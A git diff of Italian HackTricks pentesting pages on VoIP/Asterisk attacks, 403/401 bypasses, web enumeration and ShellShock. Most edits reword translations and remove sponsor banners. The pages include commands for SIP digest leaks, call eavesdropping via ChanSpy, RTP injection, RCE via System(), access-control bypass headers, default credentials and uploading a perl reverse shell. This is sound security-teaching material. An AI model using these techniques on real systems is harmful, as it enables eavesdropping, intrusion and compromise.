+- **SIPPTS leak** da [**sippts**](https://github.com/Pepelux/sippts)**:** Il leak SIPPTS sfrutta la vulnerabilità SIP Digest Leak che colpisce un gran numero di telefoni SIP. L'output può essere salvato in formato SipCrack per eseguire un attacco di forza bruta utilizzando SIPPTS dcrack o lo strumento SipCrack.
 ```bash
 sippts leak -i 10.10.0.10
 
@@ -507,7 +500,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
 
 In Asterisk è possibile utilizzare il comando **`ChanSpy`** indicando l'**estensione(i) da monitorare** (o tutte) per ascoltare le conversazioni in corso. Questo comando deve essere assegnato a un'estensione.
 
-Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiami** l'**estensione 333**, essa **monitorerà** **`tutte`** le estensioni, **inizierà ad ascoltare** ogni volta che inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire. Puoi passare da una conversazione all'altra premendo **`*`**, o componendo il numero dell'estensione.
+Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiami** l'**estensione 333**, essa **monitorerà** **`tutte`** le estensioni, **inizierà ad ascoltare** ogni volta che inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire. Puoi passare da una conversazione all'altra premendo **`*`**, o digitando il numero dell'estensione.
 
 È anche possibile utilizzare **`ExtenSpy`** per monitorare solo un'estensione.
 
@@ -527,9 +520,9 @@ exten => h,1,System(/tmp/leak_conv.sh &)
 
 **RTCPBleed** è un grave problema di sicurezza che colpisce i server VoIP basati su Asterisk (pubblicato nel 2017). La vulnerabilità consente al **traffico RTP (Real Time Protocol)**, che trasporta le conversazioni VoIP, di essere **intercettato e reindirizzato da chiunque su Internet**. Questo avviene perché il traffico RTP bypassa l'autenticazione quando naviga attraverso i firewall NAT (Network Address Translation).
 
-I proxy RTP cercano di affrontare le **limitazioni del NAT** che influenzano i sistemi RTC proxyando i flussi RTP tra due o più parti. Quando il NAT è attivo, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e porta RTP recuperate tramite segnalazione (ad es. SIP). Pertanto, un certo numero di proxy RTP ha implementato un meccanismo in cui tale **tuplet IP e porta viene appreso automaticamente**. Questo viene spesso fatto ispezionando il traffico RTP in arrivo e contrassegnando l'IP e la porta sorgente per qualsiasi traffico RTP in arrivo come quelli a cui si dovrebbe rispondere. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non utilizza alcun tipo di autenticazione**. Pertanto, **gli attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxyato destinato al chiamante o al chiamato di uno stream RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi media RTP destinati a essere inviati a utenti legittimi.
+I proxy RTP cercano di affrontare le **limitazioni del NAT** che influenzano i sistemi RTC proxyando i flussi RTP tra due o più parti. Quando il NAT è attivo, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e porta RTP recuperate tramite segnalazione (ad es. SIP). Pertanto, un certo numero di proxy RTP ha implementato un meccanismo in cui tale **tuplet IP e porta viene appreso automaticamente**. Questo viene spesso fatto ispezionando il traffico RTP in arrivo e contrassegnando l'IP e la porta sorgente per qualsiasi traffico RTP in arrivo come quelli a cui si dovrebbe rispondere. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non utilizza alcun tipo di autenticazione**. Pertanto, **gli attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxyato destinato al chiamante o al chiamato di un flusso RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi media RTP destinati a essere inviati a utenti legittimi.
 
-Un altro comportamento interessante dei proxy RTP e degli stack RTP è che a volte, **anche se non vulnerabili a RTP Bleed**, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi sorgente. Pertanto, gli attaccanti possono inviare pacchetti RTP che possono consentire loro di iniettare i loro media al posto di quelli legittimi. Chiamiamo questo attacco iniezione RTP perché consente l'iniezione di pacchetti RTP illegittimi in flussi RTP esistenti. Questa vulnerabilità può essere trovata sia nei proxy RTP che nei punti finali.
+Un altro comportamento interessante dei proxy RTP e degli stack RTP è che a volte, **anche se non vulnerabili a RTP Bleed**, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi sorgente. Pertanto, gli attaccanti possono inviare pacchetti RTP che possono consentire loro di iniettare i loro media al posto di quelli legittimi. Chiamiamo questo attacco iniezione RTP perché consente l'iniezione di pacchetti RTP illegittimi in flussi RTP esistenti. Questa vulnerabilità può essere trovata sia nei proxy RTP che nei terminali.
 
 Asterisk e FreePBX hanno tradizionalmente utilizzato l'impostazione **`NAT=yes`**, che consente al traffico RTP di bypassare l'autenticazione, portando potenzialmente a nessun audio o audio unidirezionale nelle chiamate.
 
@@ -553,7 +546,7 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
 ```
 ### RCE
 
-In Asterisk riesci in qualche modo a **aggiungere regole di estensione e ricaricarle** (ad esempio compromettendo un server di gestione web vulnerabile), è possibile ottenere RCE utilizzando il comando **`System`**.
+In Asterisk riesci in qualche modo a **aggiungere regole di estensione e ricaricarle** (ad esempio compromettendo un server di gestione web vulnerabile), è possibile ottenere RCE utilizzando il **`System`** command.
 ```scss
 same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
 ```
diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index 1f3559169..1c1df9657 100644
--- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -1,16 +1,8 @@
-# 403 & 401 Bypass
+# 403 & 401 Bypasses
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
-## Fuzzing dei Verbi/Metodi HTTP
+## HTTP Verbs/Methods Fuzzing
 
 Prova a utilizzare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 
@@ -18,11 +10,11 @@ Prova a utilizzare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT
 - Utilizzare un'intestazione HTTP come `X-HTTP-Method-Override: PUT` può sovrascrivere il verbo utilizzato.
 - Usa il verbo **`TRACE`** e se sei molto fortunato, forse nella risposta puoi vedere anche le **intestazioni aggiunte da proxy intermedi** che potrebbero essere utili.
 
-## Fuzzing delle Intestazioni HTTP
+## HTTP Headers Fuzzing
 
 - **Cambia l'intestazione Host** in un valore arbitrario ([che ha funzionato qui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
-- Prova a [**usare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
-- **Fuzz HTTP Headers**: Prova a utilizzare le **Intestazioni** del Proxy HTTP, l'autenticazione HTTP Basic e NTLM brute-force (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
+- Prova a [**utilizzare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
+- **Fuzz HTTP Headers**: prova a utilizzare le **intestazioni HTTP**, l'autenticazione HTTP di base e il brute-force NTLM (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -43,18 +35,18 @@ Se il **percorso è protetto**, puoi provare a bypassare la protezione del perco
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-- Se la pagina è **dietro un proxy**, forse è il proxy a impedirti di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**intestazioni hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
+- Se la pagina è **dietro un proxy**, forse è il proxy a impedirti di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
 - Fuzz [**intestazioni HTTP speciali**](special-http-headers.md) cercando risposte diverse.
-- **Fuzz intestazioni HTTP speciali** mentre fai fuzzing **metodi HTTP**.
+- **Fuzz intestazioni HTTP speciali** mentre fuzzing **HTTP Methods**.
 - **Rimuovi l'intestazione Host** e forse sarai in grado di bypassare la protezione.
 
-## **Fuzzing del Percorso**
+## Path **Fuzzing**
 
 Se _/path_ è bloccato:
 
 - Prova a utilizzare _**/**_**%2e/path \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/path (doppia codifica URL)
-- Prova il **bypass Unicode**: _/**%ef%bc%8f**path_ (I caratteri codificati in URL sono come "/") quindi quando vengono ricodificati tornerà a essere _//path_ e forse avrai già bypassato il controllo del nome _/path_
-- **Altri bypass del percorso**:
+- Prova il **bypass Unicode**: _/**%ef%bc%8f**path_ (I caratteri codificati in URL sono come "/") quindi quando viene ricodificato sarà _//path_ e forse avrai già bypassato il controllo del nome _/path_
+- **Altri bypass di percorso**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
 - site.com/secret/ –> HTTP 200 OK
@@ -79,7 +71,7 @@ Se _/path_ è bloccato:
 - {"user_id":"\","user_id":"\"} (JSON Parameter Pollution)
 - user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
 
-## **Manipolazione dei Parametri**
+## **Parameter Manipulation**
 
 - Cambia il **valore del parametro**: Da **`id=123` --> `id=124`**
 - Aggiungi parametri aggiuntivi all'URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
@@ -88,11 +80,11 @@ Se _/path_ è bloccato:
 - Usa caratteri speciali.
 - Esegui test di confine nei parametri — fornisci valori come _-234_ o _0_ o _99999999_ (solo alcuni valori di esempio).
 
-## **Versione del Protocollo**
+## **Protocol version**
 
 Se utilizzi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**.
 
-## **Altri Bypass**
+## **Other Bypasses**
 
 - Ottieni l'**IP** o il **CNAME** del dominio e prova a **contattarlo direttamente**.
 - Prova a **stressare il server** inviando richieste GET comuni ([Ha funzionato per questo ragazzo con Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
@@ -102,7 +94,7 @@ Se utilizzi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**
 ## **Brute Force**
 
 - **Indovina la password**: Testa le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF?
-- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prova autenticazioni basic, digest e NTLM.
+- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prova autenticazione di base, digest e NTLM.
 ```:Common creds
 admin    admin
 admin    password
@@ -122,12 +114,5 @@ guest    guest
 - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
 - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatici per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 2a13291f7..1bb532243 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -2,17 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

+## Informazioni di Base
 
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
-## Informazioni di base
-
-Il servizio web è il **servizio più comune e ampio** e esistono molti **tipi diversi di vulnerabilità**.
+Il servizio web è il servizio più **comune ed esteso** e esistono molti **tipi diversi di vulnerabilità**.
 
 **Porta predefinita:** 80 (HTTP), 443(HTTPS)
 ```bash
@@ -107,7 +99,7 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben
 - [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
 
 _Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\
-Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata prima** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
+Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata sopra** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
 
 ### Revisione del codice sorgente
 
@@ -172,10 +164,10 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 **Forzare errori**
 
-I server web possono **comportarsi in modo imprevisto** quando dati strani vengono inviati loro. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**.
+I server web possono **comportarsi in modo imprevisto** quando dati strani vengono inviati. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**.
 
 - Accedi a **pagine false** come /whatever_fake.php (.aspx,.html,.etc)
-- **Aggiungi "\[]", "]]", e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
+- **Aggiungi "\[]", "]]" e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
 - Genera errori fornendo input come **`/~randomthing/%s`** alla **fine** dell'**URL**
 - Prova **diversi verbi HTTP** come PATCH, DEBUG o errati come FAKE
 
@@ -189,9 +181,9 @@ Se scopri che **WebDav** è **abilitato** ma non hai abbastanza permessi per **c
 ### **Vulnerabilità SSL/TLS**
 
 - Se l'applicazione **non costringe l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
-- Se l'applicazione **invia dati sensibili (password) utilizzando HTTP**. Allora è una vulnerabilità alta.
+- Se l'applicazione **invia dati sensibili (password)** utilizzando HTTP. Allora è una vulnerabilità alta.
 
-Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
+Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -231,13 +223,13 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide
 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target.
 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando ulteriori link).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzionale progettato per professionisti della sicurezza informatica.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzione progettato per professionisti della sicurezza informatica.
 - [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript.
 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una wordlist personalizzata per fuzzing ed enumerazione.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare.
 
-### Brute Force directories and files
+### Brute Force directory e file
 
 Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
 Strumenti:
@@ -249,8 +241,8 @@ Strumenti:
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Veloce: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
 - [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che dato l'elenco di URL trovati eliminerà gli URL "duplicati".
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione Burp per creare un elenco di directory dalla cronologia di burp di diverse pagine.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuovi URL con funzionalità duplicate (basato su importazioni js).
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione di Burp per creare un elenco di directory dalla cronologia di burp di diverse pagine.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su importazioni js).
 - [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le wordlist da utilizzare.
 
 **Dizionari consigliati:**
@@ -274,10 +266,10 @@ Strumenti:
 
 _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere brute-forzata._
 
-### Cosa controllare su ogni file trovato
+### Cosa controllare in ogni file trovato
 
 - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover.
-- **File di backup**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Backup di file**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 - **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile.
 - _Arjun tutte le wordlist predefinite:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
@@ -285,8 +277,8 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**.
 - Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
-- **Chiavi API**: Se **trovi una chiave API** c'è una guida che indica come utilizzare le chiavi API di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
-- Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere.
+- **Chiavi API**: Se **trovi qualche chiave API** c'è una guida che indica come utilizzare le chiavi API di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
+- Chiavi API di Google: Se trovi qualche chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere.
 - **S3 Buckets**: Durante lo spidering controlla se qualche **sottodominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/).
 
 ### Scoperte speciali
@@ -316,9 +308,9 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
 
 **502 Proxy Error**
 
-Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** _**google.com**_ **e avrai trovato un** SSRF.
+Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF.
 
-**NTLM Authentication - Info disclosure**
+**Autenticazione NTLM - Informazioni riservate**
 
 Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\
 **Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione IIS, versione Windows...) all'interno dell'intestazione "WWW-Authenticate".\
@@ -330,7 +322,7 @@ Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.ns
 
 ### Controllo delle vulnerabilità web
 
-Ora che è stata eseguita un'ampia enumerazione dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
+Ora che è stata eseguita un'ampia enumerazione dell'applicazione web è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
@@ -346,15 +338,7 @@ Trova ulteriori informazioni sulle vulnerabilità web in:
 
 Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per modifiche che potrebbero inserire vulnerabilità.
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
-### HackTricks Automatic Commands
+### HackTricks Comandi Automatici
 ```
 Protocol_Name: Web    #Protocol Abbreviation if there is one.
 Port_Number:  80,443     #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md
index 9d00a3061..60c0a65f3 100644
--- a/src/network-services-pentesting/pentesting-web/cgi.md
+++ b/src/network-services-pentesting/pentesting-web/cgi.md
@@ -1,23 +1,17 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
-
 # Informazioni
 
-Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ script puoi **caricare una reverse shell perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiare l'estensione** da **.pl** a **.cgi**, dare **permessi di esecuzione** \(`chmod +x`\) e **accedere** alla reverse shell **dal browser web** per eseguirla. 
+Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ script, puoi **caricare una reverse shell perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiare l'estensione** da **.pl** a **.cgi**, dare **permessi di esecuzione** \(`chmod +x`\) e **accedere** alla reverse shell **dal browser web** per eseguirla. 
 Per testare le **vulnerabilità CGI** è consigliato usare `nikto -C all` \(e tutti i plugin\)
 
 # **ShellShock**
 
-**ShellShock** è una **vulnerabilità** che colpisce la **Bash** shell da riga di comando ampiamente utilizzata nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili di ambiente**, che sono valori nominati dinamici che influenzano il modo in cui i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando **codice malevolo** alle variabili di ambiente, che viene eseguito al ricevimento della variabile. Questo consente agli attaccanti di compromettere potenzialmente il sistema.
+**ShellShock** è una **vulnerabilità** che colpisce la **Bash**, la shell a riga di comando ampiamente utilizzata nei sistemi operativi basati su Unix. Colpisce la capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili di ambiente**, che sono valori nominati dinamici che influenzano il modo in cui i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando **codice malevolo** alle variabili di ambiente, che viene eseguito al ricevimento della variabile. Questo consente agli attaccanti di compromettere potenzialmente il sistema.
 
-Sfruttando questa vulnerabilità la **pagina potrebbe generare un errore**.
+Sfruttando questa vulnerabilità, la **pagina potrebbe generare un errore**.
 
-Potresti **trovare** questa vulnerabilità notando che sta utilizzando una **vecchia versione di Apache** e **cgi_mod** \(con cartella cgi\) o usando **nikto**.
+Puoi **trovare** questa vulnerabilità notando che sta utilizzando una **vecchia versione di Apache** e **cgi_mod** \(con cartella cgi\) o usando **nikto**.
 
 ## **Test**
 
@@ -72,10 +66,5 @@ curl -i --data-binary "" "http://jh2i.com:500
 ```
 **Ulteriori informazioni sulla vulnerabilità e possibili exploit:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Esempio di Writeup CTF**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
